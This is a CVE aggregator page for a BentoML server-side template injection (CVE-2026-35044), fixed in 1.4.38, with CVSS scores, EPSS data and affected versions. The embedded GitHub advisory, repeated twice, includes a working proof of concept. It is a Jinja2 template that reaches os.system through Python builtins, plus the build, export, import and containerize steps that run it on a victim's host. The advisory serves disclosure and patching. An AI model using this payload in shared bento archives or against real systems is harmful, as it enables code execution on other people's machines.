Every CVE Search/ Get API key

CVE-2026-35044

BentoML has a Server-Side Template Injection via unsandboxed Jinja2 Environment in Dockerfile generation

8.8 HighFix available

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.40%Up 0.4 points since Apr 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

BentoML has a Server-Side Template Injection via unsandboxed Jinja2 Environment in Dockerfile generation

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

Record
CVE-2026-35044
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-1336
Updated
2026-11-02
EUVDEUVD-2026-19386 8.8

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

Record
EUVD-2026-19386
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-v959-cwq9-7hr6 8.8

BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation

Summary

The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.

Details

The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:

ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

This creates an unsandboxed jinja2.Environment with two dangerous extensions:

  • jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions
  • jinja2.ext.debug — exposes internal template engine state

Attack path:

  1. Attacker builds a bento with dockerfile_template set in bentofile.yaml. During bentoml build, DockerOptions.write_to_bento() (build_config.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:
if self.dockerfile_template is not None:
    shutil.copy2(
        resolve_user_filepath(self.dockerfile_template, build_ctx),
        docker_folder / "Dockerfile.template",
    )
  1. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).

  2. Victim imports the bento with bentoml import bento.tar — no validation of template content is performed.

  3. Victim containerizes with bentoml containerize. The construct_containerfile() function (__init__.py:198-204) detects the template and sets the path:

docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
  1. generate_containerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
    user_templates = os.path.basename(user_templates)
    TEMPLATES_PATH.append(dir_path)
    environment = ENVIRONMENT.overlay(
        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
    )
    template = environment.get_template(
        user_templates,
        globals={"bento_base_template": template, **J2_FUNCTION},
    )
# ...
return template.render(...)  # <-- SSTI executes here, on the HOST

Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.

PoC

Step 1: Create malicious template evil.j2:

{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}

Step 2: Create bentofile.yaml referencing the template:

service: 'service:MyService'
docker:
  dockerfile_template: ./evil.j2

Step 3: Attacker builds and exports:

bentoml build
bentoml export myservice:latest bento.tar

Step 4: Victim imports and containerizes:

bentoml import bento.tar
bentoml containerize myservice:latest

Step 5: Verify host code execution:

cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...

The SSTI payload executes on the host during template rendering, before any Docker container is created.

**Standalone verification that the Jinja2…

Record
GHSA-v959-cwq9-7hr6
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-1336
Updated
2026-11-02
NVD 8.8

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

Record
CVE-2026-35044
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-1336
Updated
2026-11-02
OSV 8.8

BentoML has a Server-Side Template Injection via unsandboxed Jinja2 Environment in Dockerfile generation

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

Record
CVE-2026-35044
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-1336
Updated
2026-11-02
OSVGHSA-v959-cwq9-7hr6 8.8

BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation

Summary

The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.

Details

The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:

ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

This creates an unsandboxed jinja2.Environment with two dangerous extensions:

  • jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions
  • jinja2.ext.debug — exposes internal template engine state

Attack path:

  1. Attacker builds a bento with dockerfile_template set in bentofile.yaml. During bentoml build, DockerOptions.write_to_bento() (build_config.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:
if self.dockerfile_template is not None:
    shutil.copy2(
        resolve_user_filepath(self.dockerfile_template, build_ctx),
        docker_folder / "Dockerfile.template",
    )
  1. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).

  2. Victim imports the bento with bentoml import bento.tar — no validation of template content is performed.

  3. Victim containerizes with bentoml containerize. The construct_containerfile() function (__init__.py:198-204) detects the template and sets the path:

docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
  1. generate_containerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
    user_templates = os.path.basename(user_templates)
    TEMPLATES_PATH.append(dir_path)
    environment = ENVIRONMENT.overlay(
        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
    )
    template = environment.get_template(
        user_templates,
        globals={"bento_base_template": template, **J2_FUNCTION},
    )
# ...
return template.render(...)  # <-- SSTI executes here, on the HOST

Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.

PoC

Step 1: Create malicious template evil.j2:

{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}

Step 2: Create bentofile.yaml referencing the template:

service: 'service:MyService'
docker:
  dockerfile_template: ./evil.j2

Step 3: Attacker builds and exports:

bentoml build
bentoml export myservice:latest bento.tar

Step 4: Victim imports and containerizes:

bentoml import bento.tar
bentoml containerize myservice:latest

Step 5: Verify host code execution:

cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...

The SSTI payload executes on the host during template rendering, before any Docker container is created.

**Standalone verification that the Jinja2…

Record
GHSA-v959-cwq9-7hr6
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-1336
Updated
2026-11-02
OSVPYSEC-2026-159 9.6

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

Record
PYSEC-2026-159
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
bentoml
PyPI
through 1.4.37
1.4.38
bentoml
PyPI
before 1.4.38, plus listed versions
0.0.10.0.20.0.30.0.50.0.6a0
Show 45 moreShow less
0.0.70.0.7.dev00.0.80.0.8.post10.0.90.1.10.1.20.10.00.10.10.11.00.11.dev00.12.00.12.10.13.00.13.10.13.20.2.00.2.10.2.20.3.00.3.10.3.30.3.40.4.00.4.10.4.20.4.30.4.40.4.50.4.70.4.80.4.90.5.00.5.10.5.20.5.30.5.40.5.50.5.60.5.70.5.80.6.00.6.10.6.20.6.3
1.4.38

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35044 is a high vulnerability (CVSS 8.8) in Bentoml, published April 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in bentoml 1.4.38.

References

This page doesn't list everything

Left out here: 167 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open